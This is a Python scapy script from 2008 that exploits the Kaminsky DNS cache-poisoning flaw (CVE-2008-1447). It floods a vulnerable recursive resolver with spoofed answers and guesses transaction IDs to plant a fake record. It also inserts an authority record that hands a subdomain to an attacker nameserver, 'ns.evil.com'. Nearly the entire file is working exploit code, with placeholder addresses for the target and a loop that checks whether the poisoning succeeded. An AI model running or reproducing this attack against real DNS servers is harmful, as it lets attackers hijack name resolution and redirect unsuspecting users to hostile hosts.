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from scapy import * import random
# Copyright (C) 2008 Julien Desfossez <ju@klipix.org> # http://www.solisproject.net/ # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# This script exploit the flaw discovered by Dan Kaminsky # http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447 # http://www.kb.cert.org/vuls/id/800113
# It tries to insert a dummy record in the vulnerable DNS server by guessing # the transaction ID. # It also insert Authority record for a valid record of the target domain.
# To use this script, you have to discover the source port used by the vulnerable # DNS server. # Python is really slow, so it will take some time, but it works :-)
# IP to insert for our dummy record targetip = "X.X.X.X" # Vulnerable recursive DNS server targetdns = "X.X.X.X" # Authoritative NS for the target domain srcdns = ["X.X.X.X"]
# Domain to play with dummydomain = "" basedomain = ".example.com." # sub-domain to claim authority on domain = "sub.example.com." # Spoofed authoritative DNS for the sub-domain spoof="ns.evil.com." # src port of vulnerable DNS for recursive queries dnsport = 32883
# base packet rep = IP(dst=targetdns, src=srcdns[0])/ \ UDP(sport=53, dport=dnsport)/ \ DNS(id=99, qr=1, rd=1, ra=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=DNSQR(qname=dummydomain, qtype=1, qclass=1), an=DNSRR(rrname=dummydomain, ttl=70000, rdata=targetip, rdlen=4), ns=DNSRR(rrname=domain, rclass=1, ttl=70000, rdata=spoof, rdlen=len(spoof)+1, type=2) )
currentid = 1024 dummyid = 3 while 1: dummydomain = "a" + str(dummyid) + basedomain dummyid = dummyid + 1 # request for our dummydomain req = IP(dst=targetdns)/ \ UDP(sport=random.randint(1025, 65000), dport=53)/ \ DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=DNSQR(qname=dummydomain, qtype=1, qclass=1), an=0, ns=0, ar=0 ) send(req)
# build the response rep.getlayer(DNS).qd.qname = dummydomain rep.getlayer(DNS).an.rrname = dummydomain
for i in range(50): # TXID rep.getlayer(DNS).id = currentid currentid = currentid + 1 if currentid == 65536: currentid = 1024
# len and chksum rep.getlayer(UDP).len = IP(str(rep)).len-20 rep[UDP].post_build(str(rep[UDP]), str(rep[UDP].payload))
print "Sending our reply from %s with TXID = %s for %s" % (srcdns[0], str(rep.getlayer(DNS).id), dummydomain) send(rep, verbose=0)
# check to see if it worked req = IP(dst=targetdns)/ \ UDP(sport=random.randint(1025, 65000), dport=53)/ \ DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=DNSQR(qname=dummydomain, qtype=1, qclass=1), an=0, ns=0, ar=0 ) z = sr1(req, timeout=2, retry=0, verbose=0) try: if z[DNS].an.rdata == targetip: print "Successfully poisonned our target with a dummy record !!" break except: print "Poisonning failed"
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